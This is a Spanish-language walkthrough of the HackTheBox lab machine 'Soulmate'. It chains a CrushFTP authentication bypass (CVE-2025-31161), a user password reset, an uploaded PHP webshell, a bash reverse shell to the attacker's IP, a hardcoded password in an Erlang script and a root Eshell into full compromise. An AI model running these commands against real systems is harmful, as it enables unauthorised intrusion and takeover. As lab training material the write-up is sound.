Soulmate – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

Avatar soulmate


Resumen Link to heading

“Soulmate” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web con una página web basada en una aplicación de citas el cual tiene un vhost corriendo CrushFTP. Este software es vulnerable a CVE-2025-31161, la cual es una vulnerabilidad de Authentication Bypass, permitiéndonos crear usuarios en la aplicación. Usando esta vunlerabilidad ganamos acceso al aplicativo, reiniciamos las credenciales de otro usuario en ésta y ganamos acceso como este segundo usuario el cual puede subir archivos al servidor web; subiendo así una webshell y ganando acceso al servidor. Una vez dentro, podemos ver un script de Erlang el cual contiene credenciales para un usuario del sistema, válidas por SSH. Una vez dentro, vemos que la máquina víctima está corriendo un servicio SSH interno por el puerto 2222. Accediendo a éste ganamos una sesión mediante una shell Eshell, la cual està siendo ejecutada como root; ganando así ejecución de comandos y comprometiendo el sistema.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap buscando por puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.79.116

Sólo encontramos 2 puertos abiertos: 22 SSH y 80 HTTP.

Aplicamos algunos scripts de reconocimiento sobre estos puertos usando la flag -sVC con Nmap:

❯ sudo nmap -sVC -p22,80 10.129.79.116

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 15:30 -03
Nmap scan report for 10.129.79.116
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.78 seconds

Del output podemos ver que el servicio del puerto 80 HTTP está redirigiendo al sitio http://soulmate.htb.

Por tanto, agregamos este dominio a nuestro archivo /etc/hosts junto con la dirección IP de la máquina víctima para que así nuestro sistema sepa a qué host resolver cuando hagamos mención a soulmate.htb. Para esto ejecutamos en una terminal:

❯ echo '10.129.79.116 soulmate.htb' | sudo tee -a /etc/hosts

Donde 10.129.79.116 es la IP de la máquina víctima.

Una vez agregado, podemos usar la herramienta WhatWeb contra el sitio web para analizar tecnologías siendo usadas por éste:

❯ whatweb -a 3 http://soulmate.htb

http://soulmate.htb [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[hello@soulmate.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.79.116], Script, Title[Soulmate - Find Your Perfect Match], nginx[1.18.0]

El output simplemente muestra que el servidor está corriendo sobre Nginx.

Podemos visitar el sitio web http://soulmate.htb en un navegador de internet. Vemos un sitio web el cual emula una aplicación de citas:

Soulmate 1

Si clickeamos en Start Your Journey o Get Started, ambos redirigen a la página /register.php. Por lo que podemos asumir que el servidor utiliza PHP para funcionar. Podemos crear una cuenta y acceder con ésta. Vemos ahora:

Soulmate 2

Pero no vemos nada útil de momento.

Podemos así bsucar por vhosts, intentando obtener un subdominio, usando una herramienta como ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://soulmate.htb/ -H 'Host: FUZZ.soulmate.htb' -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 528ms]
:: Progress: [4989/4989] :: Job [1/1] :: 125 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

Obtenemos un subdominio: ftp.soulmate.htb.

Agregamos este nuevo subdominio a nuestro archivo /etc/hosts, de manera que ahora éste se ve como:

❯ tail -1 /etc/hosts

10.129.79.116 soulmate.htb ftp.soulmate.htb

Si visitamos ahora http://ftp.soulmate.htb podemos ver:

Soulmate

El sitio web se encuentra corriendo CrushFTP:

Información
CrushFTP is a powerful, enterprise-grade file transfer server that runs on multiple platforms (Windows, macOS, Linux) and supports various protocols like File Transfer Protocol|FTP, SFTP, FTPS, HTTPs, and WebDAV. It provides robust security features, including encryption, automated ban lists, and user role management, along with tools for monitoring, automation, and high-speed, in-stream compressed file transfers called ZipStreaming.

En corto, es un servicio para transferir archivos que usa múltiples protocolos.

Podemos ir al buscador CVE de MITRE y buscar por CrushFTP. Encontramos así una vulnerabilidad catalogada como CVE-2025-31161 la cual permite un Authorization Bypass. Buscando por una Prueba de Concepto (“Proof of Concept” o “PoC”) para este vulnerabilidad hallamos el siguiente exploit en este repositorio de Github. Éste da un script escrito en Python el cual crea un nuevo usuario con el rol crushadmin (usuario con privilegios). Podemos clonar este exploit y probar si funciona contra el sitio web:

❯ git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git -q

❯ cd CVE-2025-31161

❯ python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user 'gunzf0x' --password 'gunzf0x123'

[+] Preparing Payloads
  [-] Warming up the target
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: gunzf0x
   [*] Password: gunzf0x123.

Aparentemente funcionó.

Ahora podemos ir a http://ftp.soulmate.htb y poner nuestras credenciales allí. Son válidas y ganamos acceso:

Soulmate 4

Si clickeamos en la pestaña de Admin en la parte superior izquierda y luego en User Manage podemos ver:

Soulmate 5

Además de nuestro usuario creado (gunzf0x) y el usuario default crushadmin, tenemos otros 2 usuarios: ben y jenna.

Podemos ver el campo de password para estos usuarios:

Soulmate 6

Un truco que siempre vale la pena intentar cuando hay contraseñas “ocultas” es tratar de cambiar el type en el Front-End para el campo de contraseña, de password a text. No obstante, hacer esto no muestra la contraseña, sólo un texto sin contenido alguno:

Soulmate 7

Esta vez esto no funcionó.

No obstante, hay un botón Generate Random Password. Si clickeamos en éste, se genera -como es esperado- una contraseña aleatoria. Pero el aplicativo también da la posibilidad de utilizar la contraseña generada con el botón Use this. Estamos así cambiando la contraseña del usuario ben con esta acción:

Soulmate 8

Clickeamos en Use this y Save en la parte inferior de la página, cerramos nuestra sesión y tratamos de acceder como el usuario ben usando la contraseña generada. Funciona. Estamos dentro como el usuario ben:

Soulmate 9

Hay un directorio llamado webProd. Para ver si podemos agregar archivos PHP y ver si éstos son reflejados en el servidor web principal es que creamos un simple archivo en PHP y le damos permisos de ejecución:

❯ echo "<?php system('id'); ?>" > test.php

❯ chmod +x test.php

Volvemos a la página de CrushFTP como el usuario ben, clickeamos en Upload y subimos el archivo que acabamos de generar:

Soulmate

Hecho esto revisamos si el servidor ha interpretado el archivo PHP que hemos subido. Esto lo podemos verificar rápidamente con cURL:

❯ curl -s http://soulmate.htb/test.php

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Funcionó. El servidor interpreta código PHP y tenemos ejecución remota de comandos.

Por ende, creamos una simple webshell y la subimos a la máquina víctima por medio de CrushFTP. Creamos el archivo:

❯ echo '<?php system($_GET["cmd"]); ?>' > shell.php

❯ chmod +x shell.php

y lo subimos como hicimos anteriormente. Revisamos si la webshell que hemos subido funciona con cURL:

❯ curl -s -X GET -G http://soulmate.htb/shell.php --data-urlencode 'cmd=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nuestra webshell funciona.

Empezamos un listener con netcat por el puerto 443 a la espera de recibir una reverse shell:

❯ nc -lvnp 443
listening on [any] 443 ...

Y usamos la webshell para enviarnos una reverse shell:

❯ curl -s -X GET -G http://soulmate.htb/shell.php --data-urlencode 'cmd=/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.80/443 0>&1"'

Obtenemos una shell como el usuario www-data en nuestro listener con netcat:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.80] from (UNKNOWN) [10.129.79.116] 60264
bash: cannot set terminal process group (1147): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public$

Sólo existe el usuario ben en esta máquina:

www-data@soulmate:~/soulmate.htb/public$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:,,,:/home/ben:/bin/bash

Para ver si hay tareas corriendo en la máquina víctima es que subimos un binario de pspy (el cual puede ser descargado desde su repositorio de Github). Para transferir el binario de pspy64 a la máquina víctima primero empezamos un servidor HTTP con Python por el puerto 8080, exponiendo el binario:

❯ ls -la && python3 -m http.server 8000

total 3052
drwxrwxr-x 3 gunzf0x gunzf0x    4096 Sep  8 17:06 .
drwxrwxr-x 5 gunzf0x gunzf0x    4096 Sep  8 15:13 ..
drwxrwxr-x 3 gunzf0x gunzf0x    4096 Sep  8 16:31 CVE-2025-31161
-rw-r--r-- 1 gunzf0x gunzf0x 3104768 Sep  8 17:06 pspy64
-rwxrwxr-x 1 gunzf0x gunzf0x      31 Sep  8 16:34 shell.php
-rwxrwxr-x 1 gunzf0x gunzf0x      23 Sep  8 16:29 test.php

Y en la máquian víctima descargamos el binario utilizando wget y le asignamos permisos de ejecución con chmod:

www-data@soulmate:~$ wget http://10.10.16.80:8000/pspy64 -O /tmp/pspy64 -q && chmod +x /tmp/pspy64

Ejecutamos pspy y, luego de algunos segundos, podemos ver algo:

www-data@soulmate:~$ /tmp/pspy64

<SNIP>
2025/09/08 20:07:19 CMD: UID=0     PID=1137   | /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
<SNIP>

Fuera de algunos scripts siendo ejecutados para limpiar la página web, hay un script start.escript; el cual es aparentemente un script de Erlang.

Tenemos permisos de lectura sobre este archivo:

www-data@soulmate:~$ ls -la /usr/local/lib/erlang_login/start.escript

-rwxr-xr-x 1 root root 1427 Aug 15 07:46 /usr/local/lib/erlang_login/start.escript

Si leemos este archivo tenemos:

#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

Es un script que utiliza el servicio SSH tratando de conectarse al puerto 2222.

Donde la ínea:

{user_passwords, [{"ben", "HouseH0ldings998"}]},

Muestra una contraseña para el usuario ben: HouseH0ldings998.

Revisamos si esta contraseña funciona para SSH y el usuario ben utilizando la herramienta NetExec:

❯ nxc ssh soulmate.htb -u ben -p 'HouseH0ldings998'

SSH         10.129.79.116   22     soulmate.htb     [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.79.116   22     soulmate.htb     [+] ben:HouseH0ldings998  Linux - Shell access!

Tenemos credenciales válidas.

Usamnos estas credenciales para acceder como el usuario ben:

❯ sshpass -p 'HouseH0ldings998' ssh -o stricthostkeychecking=no ben@soulmate.htb

Warning: Permanently added 'soulmate.htb' (ED25519) to the list of known hosts.
Last login: Mon Sep 8 20:15:44 2025 from 10.10.16.80
ben@soulmate:~$

Podemos extraer la flag de usuario.


Root Link to heading

si revisamos maś detalladamente el script de Erlang hallado, éste está intentando conectarse al puerto interno 2222. Podemos revisar si este puerto interno realmente se encuentra abierto:

ben@soulmate:~$ ss -nltp | grep 2222

LISTEN 0      5          127.0.0.1:2222       0.0.0.0:*

Lo está.

Podemos conectarnos entonces al localhost utilizando las credenciales del usuario ben ante el puerto 2222 utilizando el servicio SSH:

ben@soulmate:~$ ssh ben@localhost -p 2222

The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
ben@localhost's password: HouseH0ldings998

Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>

Tenemos una conexión, la cual está ejecutando Eshell como shell (en vez de otras shells como bash, zsh, etc).

Luego de una leve investigación, encontramos este blog el cual explica cómo ejecutar comandos a nivel de sistema con Eshell. En corto, la sintaxis dada es:

os:cmd("<system command>").

Podemos probar si esta sintaxis funciona en la conexión SSH interna:

(ssh_runner@soulmate)3> os:cmd("id").

"uid=0(root) gid=0(root) groups=0(root)\n"

Está corriendo este servicio interno como root, y se encuentra haciéndolo en la máquina original:

(ssh_runner@soulmate)5> os:cmd("hostname -I").

"10.129.79.116 172.18.0.1 172.17.0.1 172.19.0.1 \n"

Por lo que ya somos root… GG?

Podríamos simplemente extraer la flag de root en el directorio /root, pero me gustaría obtener una shell fuera de Eshell. Para obtener una shell fuera del servicio interno SSH, creamos una copia del binario de python3 y le asignamos Capabilities a aquella copia. Hacemos esto creando un simple script en bash Bash y lo guardamos como /tmp/exploit. Para este propósito podemos obtener una nueva conexión SSH en la máquina víctima y ejecutar:

❯ sshpass -p 'HouseH0ldings998' ssh -o stricthostkeychecking=no ben@soulmate.htb
Last login: Mon Sep 8 20:29:31 2025 from 10.10.16.80

ben@soulmate:~$ echo -e '#/bin/bash\n\ncp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x' > /tmp/exploit && chmod +x /tmp/exploit

Luego, de vuelta a la Eshell como root, ejecutamos el script /tmp/gunzf0x malicioso:

(ssh_runner@soulmate)6> os:cmd("/tmp/exploit").

Si revisamos el directorio /tmp en la conexión con ben, nuestro binario malicioso está allí:

ben@soulmate:~$ ls -la /tmp

total 8884
drwxrwxrwt 12 root     root        4096 Sep  8 20:31 .
drwxr-xr-x 18 root     root        4096 Sep  2 10:27 ..
-rwxrwxr-x  1 ben      ben           85 Sep  8 20:29 exploit
drwxrwxrwt  2 root     root        4096 Sep  8 16:44 .font-unix
-rwxr-xr-x  1 root     root     5937768 Sep  8 20:31 gunzf0x
<SNIP>

Finalmente, usamos este binario para escalar privilegios fuera de Eshell:

ben@soulmate:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami

root

~Happy Hacking.